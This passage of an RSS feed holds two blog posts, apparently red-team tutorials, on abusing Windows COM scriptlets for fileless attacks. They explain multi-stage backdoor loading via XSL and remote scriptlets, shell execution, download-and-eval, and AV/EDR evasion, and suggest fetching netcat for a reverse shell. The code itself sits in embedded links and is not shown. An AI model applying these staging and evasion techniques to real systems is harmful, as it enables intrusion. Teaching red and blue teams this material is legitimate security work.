href="https://medium.com/media/d1e9b4402ba76cb57a8feddbc926a42c/href">https://medium.com/media/d1e9b4402ba76cb57a8feddbc926a42c/href</a></iframe><p>These files execute VBScript &amp; Javascript inline scripts which allow you to create the 2nd stage of your script to run in a downloadable XSL Sheet directly from javascript.</p><p>Using Eval could trigger AV/EDR signatures but using XSL Files mostly won’t. To execute these files from your javascript, use this code snippet:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ef0af3e7573861917611351c89932d91/href">https://medium.com/media/ef0af3e7573861917611351c89932d91/href</a></iframe><p>With this, you can download and execute your 2nd stage backdoor. The benefit of this technique is that it doesn’t leave any traces on your disk of this new XSL malicious script. It keeps your malware away from the praying eye for now. As well, it gives you the ability to update and modify your malware along the time.</p><h4>Multi Staging Using Another COM Object:</h4><p>Another way to load your 2nd stage is by loading another COM Scriptlet in your javascript code. In this case, you will need your COM object to look different. You will need it to have public methods to be called from your javascript.</p><p>The new COM Scriptlet will look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b210b6062b20ec8cebca246b0900e9fe/href">https://medium.com/media/b210b6062b20ec8cebca246b0900e9fe/href</a></iframe><p>In this scriptlet, we don’t have any code in the registration section (which was called from regsvr32 while installing and uninstalling the COM Object). We do have here a method inside the COM Object named ‘Exec’ which call be executed from inside our javascript or VBScript like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2e03aa94a761b480579f292d79814e4b/href">https://medium.com/media/2e03aa94a761b480579f292d79814e4b/href</a></iframe><p>And in both cases, we are downloading our COM object online and executing the Exec function in it. And with that, we can stage our 2nd stage of the malware and execute our malware.</p><h3>What’s Next?</h3><p>In the next part of this series, we will cover how we can use COM Objects to hide your C&amp;C communication and to make it look like legitimate browsing. Also, we will cover lateral movement and how we can COM Objects to execute commands on other systems in the same network (Using Microsoft RPC protocol, port 135).</p><p>So, don’t miss our next blog, and feel free to subscribe with your email so you don’t miss the next posts.</p><h3>Conclusion</h3><p>COM Objects are the swiss army knife for any attacker or red teamer today. They are built with no security in mind and led to lots of opportunities to abuse them to bypass defenses, escalate privileges and move laterally inside the organization.</p><p>If you are a red teamer, learning how to abuse COM objects will get you far ahead in bypassing defenses and detections. And if you are a blue teamer, protecting your organization against such types of attacks should be one of your top priorities and would definitely elevate your organization’s security posture.</p><h3>In-Depth Comprehensive Red Team Training:</h3><p>If you want to dive in-depth into this topic and other advanced attacks techniques, check out our training:</p><p><strong><em>“Advanced Red Teaming: Weaponization &amp; Adversary Simulation”</em></strong></p><p>This is a live instructor-led training that focuses on developing cyber weapons that can evade AV detection, EDR logs, and forensics traces like how advanced targeted attacks do, and provide you with insights on how to improve your organization’s overall detections and security posture. Check it out from here: <a href="https://maltrak.com/redteam">https://maltrak.com/redteam</a></p><h3>References:</h3><ol><li><a href="https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/">https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/</a></li><li><a href="https://pentestlab.blog/tag/scriptlet/">https://pentestlab.blog/tag/scriptlet/</a></li><li><a href="https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a?fbclid=IwAR0iJgwtIvGi130RZfwbvkJHDrOTjSK4lcWf4fwlvcA9GFTTGIPLZ0H_WHk">https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a?fbclid=IwAR0iJgwtIvGi130RZfwbvkJHDrOTjSK4lcWf4fwlvcA9GFTTGIPLZ0H_WHk</a></li><li><a href="https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/">https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/</a></li><li><a href="https://docs.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script">https://docs.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script</a></li><li><a href="https://social.msdn.microsoft.com/Forums/en-US/7813b377-00c6-4755-a338-8c418251d29c/serverside-xslt-processing-with-msxml?forum=xmlandnetfx">https://social.msdn.microsoft.com/Forums/en-US/7813b377-00c6-4755-a338-8c418251d29c/serverside-xslt-processing-with-msxml?forum=xmlandnetfx</a></li><li><a href="https://www.cybereason.com/blog/excel4.0-macros-now-with-twice-the-bits">https://www.cybereason.com/blog/excel4.0-macros-now-with-twice-the-bits</a></li><li><a href="https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/">https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/</a></li><li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/gg441316(v=vs.85)">https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/gg441316(v=vs.85)</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf78318d9165" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maltrak/com-objects-p-2-your-stealthy-fileless-attack-bf78318d9165">COM Objects P.2: Your Stealthy Fileless Attack</a> was originally published in <a href="https://medium.com/maltrak">MalTrak</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[COM Objects P.1: The Hidden Backdoor in Your System]]></title>
            <link>https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85?source=rss-cbae6aa7201a------2</link>
            <guid isPermaLink="false">https://medium.com/p/947ac4285e85</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Amr Thabet]]></dc:creator>
            <pubDate>Wed, 26 May 2021 12:03:20 GMT</pubDate>
            <atom:updated>2021-05-26T12:03:20.645Z</atom:updated>
            <content:encoded><![CDATA[<p>In the last few years, attackers have abused COM Objects to craft their Fileless attacks, evade defenses, bypass whitelisting, and even move laterally inside the organization using Microsoft RPC protocol.</p><p>In this series of blog posts, we will dive deeper into COM objects, how to utilize them in your red teaming engagement and how to detect and protect your organization from them if you are on the blue team side.</p><p>But before we start, let us first get to understand, what is a COM Object and why it’s there in the first place.</p><h3>What is a COM Object?</h3><p>According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.”</p><p>In simple words (I know you need that), COM is a system that allows software components to communicate with one another and interact together. You can communicate with the Firewall using INetFwMgr COM Object, you can communicate with Outlook, Word, Excel, Internet Explorer and other applications.</p><p>This communication can help you open a URL in internet explorer and receive the output (in the hidden window of course), or open outlook and receive an email … etc.</p><p>As well, these objects can be executed remotely (Distributed COM or DCOM) on another machine using RPC (Remote Procedure Call) protocol. So, you can use someone else’s machine.</p><p>COM is an old model but it’s the foundation of so many other models/systems like ActiveX, OLE, and others. Also, it’s considered obsolete with the appearance of .NET and WCF. But don’t worry, with Windows backward compatibility, COM is not going away any time soon.</p><h3>COM Attacks: COM Objects for Initial Access:</h3><p>For an attacker to get his foot inside any organization’s internal network, he needs to have a payload delivery method (ex: phishing email with a malicious document with a macro) and a payload (ex: VBS code).</p><p>COM Objects&#39; power relies on the payload phase. Using what’s called COM Scriptlet, the attacker can download and execute a malicious javascript or VBScript using windows legitimate applications.</p><p>You can then deliver this payload (which is mostly a command line) in a LNK file inside a zip file, in a malicious macro (to bypass defenses), or a document with an OLE Embedded.</p><h3>COM Scriptlets: Your Payload Free Delivery Service</h3><p>COM Objects can use a DLL to execute its functionality or a script. COM Objects that use scripts (instead of DLLs) are named Scriptlets and saved in *.sct files in XML format.</p><p>The structure of a scriptlet file is like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/26980dca11ed2016660689245439c1e5/href">https://medium.com/media/26980dca11ed2016660689245439c1e5/href</a></iframe><p>So, in the registration section, the ClassID is a unique identifier for this COM Object and it’s used to find the object, load it and execute its code. ProgID is a human-friendly identifier for this COM Object that can be used.</p><p>And last, in this registration section, you got your script. This script will be executed in the registration phase allowing your malware to execute by just trying to register such COM object.</p><p>The <strong>CDATA </strong>Section is known in XML Schema. This section is not parsed by the XML parser so you can avoid using <strong>&amp;lt;, &amp;gt;,</strong> and <strong>&amp;amp; </strong>to escape/replace different parsable characters in XML like <strong>&lt;</strong> or <strong>&gt;</strong>. It comes in handy while writing javascript code inside an XML.</p><p>Luckily enough, there are so many windows legitimate applications that can register and execute such scriptlets. Even download them from the internet and automatically execute your JavaScript or VBScript code inside.</p><p>Before we show you all your options, we will dive into the javascript/VBScript code and how you can abuse this section to execute your 2nd stage backdoor</p><h3>Scripting in COM Objects:</h3><h4>Access to The Shell:</h4><p>The simplest script you can use is this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a3e02c3a6e743bd006eca82d5bab6693/href">https://medium.com/media/a3e02c3a6e743bd006eca82d5bab6693/href</a></iframe><p>With this simple script, we can execute any commands in command prompt (Shell) using an ActiveX Object (a bit modern version of COM objects) called WScript.Shell. This object allows us to execute any command we want.</p><p>With this, you can execute powershell.exe, you can use curl, cmd, rundll.exe, or whatever you want to execute. Or even download Netcat using curl and execute it to provide you with a reverse shell (it will be detectable very easily) or a cobalt strike beacon if you have Cobalt Strike.</p><p>In VBScript, it’s even easier. You can just run the command “Shell” with the application you want to run:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/94fbd4e89d235bfc821cb09aa00d5a9a/href">https://medium.com/media/94fbd4e89d235bfc821cb09aa00d5a9a/href</a></iframe><p>This is the power of the COM scriptlets.</p><h4>Download &amp; Execute:</h4><p>Another common script you can use is the download &amp; execute type of scripts. In this script, we will use another ActiveX object for network communication to download the 2nd stage backdoor and execute it using the “eval” command</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/08979aa0acd4384d88513d20799eeba5/href">https://medium.com/media/08979aa0acd4384d88513d20799eeba5/href</a></iframe><p>the “eval” command executes the downloaded javascript code dynamically.</p><h4>.Net Reflective DLL Loader:</h4><p>I won’t go to the code details of this one but in .Net, there’s a feature called Serialization. This feature allows the application to send and receive objects in binary, JSON, or XML format.<br> <br> These objects are like DLLs written in C# (or any .Net language) to be dynamically loaded and their code to be executed.</p><p>These objects can be encoded in Base64 format, decoded in memory, deserialized/loaded and their main code gets executed. All of that is done using a Microsoft ActiveX Object called <strong>“System.Runtime.Serialization.Formatters.Binary.BinaryFormatters”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y8QsaPOqOQxTmPNKatMD5Q.png" /><figcaption>Reference: <a href="https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327">https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327</a></figcaption></figure><p>Microsoft has pushed the idea of objects. Everything is an object that is sent through the network, deserialized, and executed remotely which led to reflective DLL Loaders, remote code execution, and much more threats. Now it’s considered obsolete because of the threats it imposed.</p><p>To build your own JavaScript .Net/C# loader, you can use DotNetToJScript from here: <a href="https://github.com/tyranid/DotNetToJScript">https://github.com/tyranid/DotNetToJScript</a> and it will help you as well generate the equivalent VBScript if you need.</p><p>There’s so much more you can do with JavaScript and VBScript. So many opportunities to obfuscate and bypass AVs, EDRs, and other defenses. And for EDRs, they totally lack when it comes to scripting.</p><p>As we have covered how to write an effective Scriptlet, now it’s time to execute it.</p><h3>What’s Next?</h3><p>In the next part of this series, we will see the different ways to execute our COM Object payloads and the different ways we can use them to bypass detection, whitelisting, and so on. So, don’t miss our next blog, and feel free to subscribe with your email so you don’t miss the next posts.</p><h3>Conclusion</h3><p>COM Objects are the swiss army knife for any attacker or red teamer today. They are built with no security in mind and led to lots of opportunities to abuse them to bypass defenses, escalate privileges and move laterally inside the organization.</p><p>If you are a red teamer, learning how to abuse COM objects will get you far ahead in bypassing defenses and detections. And if you are a blue teamer, protecting your organization against such type of attacks should be one of your top priorities and would definitely elevate your organization&#39;s security posture.</p><h3>In-Depth Comprehensive Red Team Training:</h3><p>If you want to dive in-depth into this topic and other advanced attacks techniques, check out our training:</p><p><strong><em>“Advanced Red Teaming: Weaponization &amp; Adversary Simulation”</em></strong></p><p>This is a live virtual classroom-style training that focuses on developing cyber weapons that can evade AV detection, EDR logs, and forensics traces like how advanced targeted attacks do, and provide you with insights on how to improve your organization’s overall detections and security posture. Check it out from here: <a href="https://maltrak.com/redteam">https://maltrak.com/redteam</a></p><h3>References</h3><ol><li><a href="https://github.com/3gstudent/SCTPersistence">https://github.com/3gstudent/SCTPersistence</a></li><li><a href="https://github.com/tyranid/DotNetToJScript">https://github.com/tyranid/DotNetToJScript</a></li><li><a href="https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327">https://gist.github.com/bohops/545f92b49c4341ee2f7bf1c366fba327</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=947ac4285e85" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85">COM Objects P.1: The Hidden Backdoor in Your System</a> was originally published in <a href="https://medium.com/maltrak">MalTrak</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>